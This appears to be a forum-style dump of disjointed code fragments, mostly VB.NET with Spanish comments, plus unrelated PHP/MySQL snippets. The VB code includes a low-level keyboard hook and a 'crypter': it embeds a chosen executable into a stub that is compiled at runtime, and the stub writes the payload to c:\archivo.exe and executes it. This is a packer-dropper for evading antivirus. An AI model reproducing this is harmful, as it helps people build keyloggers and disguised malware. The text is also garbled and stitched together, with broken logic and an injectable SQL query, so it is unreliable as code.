Public Sub New()
        HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, _ System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly. _ GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        If HHookID = IntPtr.Zero Then
            messagebox.show("Could not set keyboard hook")
        End If
		

    End Sub

textbox.text="¡"

if process.processname = focus then


end if

module module1
sub main()

dim ventana as new form1
ventana.show


end sub 
end module

 For Each _ResourceFile As String In _ResourceFiles
                ' Set the embedded resource file of the assembly.
                _CompilerParameters.EmbeddedResources.Add(_ResourceFile)
            Next _ResourceFile

dim cadena as string = "toni"

my.resources.source.replace("%1%", cadena)

dim toni as string = %1% 

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim open = OpenFileDialog1
open.Filter = "Executables *.exe|*.exe"
Dim save = OpenFileDialog1
save.Filter = "Executables *.exe|*.exe"        

open.ShowDialog()
Save.ShowDialog()

        Dim st As System.IO.Stream = System.IO.File.Open(open.FileName, _
   System.IO.FileMode.Open, System.IO.FileAccess.Read)

     Dim br As New System.IO.BinaryReader(st)
     Dim read() As Byte = br.ReadBytes(st.Length)

        br.Close()
        st.Close()

Dim source As String = My.Resources.source  

Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
Dim cadena As String = enc.GetString(read)
        source = source.Replace("%3%", cadena)

        iCompiler.GenerateExecutable(SaveFileDialog1.FileName, source, "") 
       
 MsgBox("Crypted!", MsgBoxStyle.Information, "Success!")
        End

    End Sub
End Class

Imports System.CodeDom.Compiler
Public Class iCompiler
    Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Icon As String)
        'On Error Resume Next

        Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
        Dim Parameters As New CompilerParameters()
        Dim cResults As CompilerResults

        Parameters.GenerateExecutable = True
        Parameters.OutputAssembly = Output
        Parameters.ReferencedAssemblies.Add("System.dll")
        Parameters.ReferencedAssemblies.Add("System.Data.dll")
        Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")


        Dim Version = New Dictionary(Of String, String)
        Version.Add("CompilerVersion", "v2.0")

        Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"

        If Icon <> "" Then
            IO.File.Copy(Icon, ICO)
            Parameters.CompilerOptions &= " /win32icon:" & ICO
        End If

        cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

        If cResults.Errors.Count > 0 Then
        ElseIf cResults.Errors.Count = 0 Then

        End If
        If Icon <> "" Then : IO.File.Delete(ICO) : End If
    End Sub
End Class

Imports System, Microsoft.VisualBasic
Module uno
    Sub Main()
        Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
        Dim bytess() As Byte = enc.GetBytes(%3%)


        IO.File.WriteAllBytes("c:\archivo.exe", bytess)
        Call Shell( "c:\archivo.exe")
        End
    End Sub

End Module

Imports system.io

Public Class Form1

    Const count As Integer = 100 * 1048576 
' constante para la capacidad de buffer

    Public FileLen As Integer, inputPath As String
'declaro como publicas filelen que es el tamaño del archivo y inputpath que es el 'archivo de entrada


    Public Sub escribir(ByVal output1 As String, ByVal buffer() As Byte)

        Dim brWriter As System.IO.BinaryWriter
        Dim brReader As System.IO.BinaryReader
        Dim buffer(count) As Byte
        Dim bytesRead() As Integer

        FileLen = My.Computer.FileSystem.GetFileInfo(inputPath).Length

        While FileLen > 0
            ReDim buffer1(count )
          bytesRead(StrReverse(FileLen)) = brReader.Read(buffer, 0, (count))<---fallo
'hago una cuenta atras del tamaño del archivo           
 MsgBox(bytesRead)
            If bytesRead(StrReverse(FileLen)) = 0 Then
'observo si bytesread esta vacio
                Exit While
            End If
            brWriter.Write(buffer, 0, bytesRead(StrReverse(FileLen)))
' escribo en el archivo el buffer que es un array de bytes
            FileLen = FileLen - bytesRead(StrReverse(FileLen))
' resto los bytes leidos
        End While
        brWriter.Close()
        brReader.Close()
        End
    End Sub
End Class

<?php do { ?>
      <li> <a href="<?php echo $row_Recordset1['DIRECCION']; ?>" alt="" title="" <img src="<?php echo $row_Recordset1['DIRECCION']; ?>" alt="" width="111" height="70" /> </a> </li>
      <?php } while ($row_Recordset1 = mysql_fetch_assoc($Recordset1)); ?>

mysql_query("insert into direcciones (archivo) values ( '.$carpeta.'  '.$nombredearchivo.'");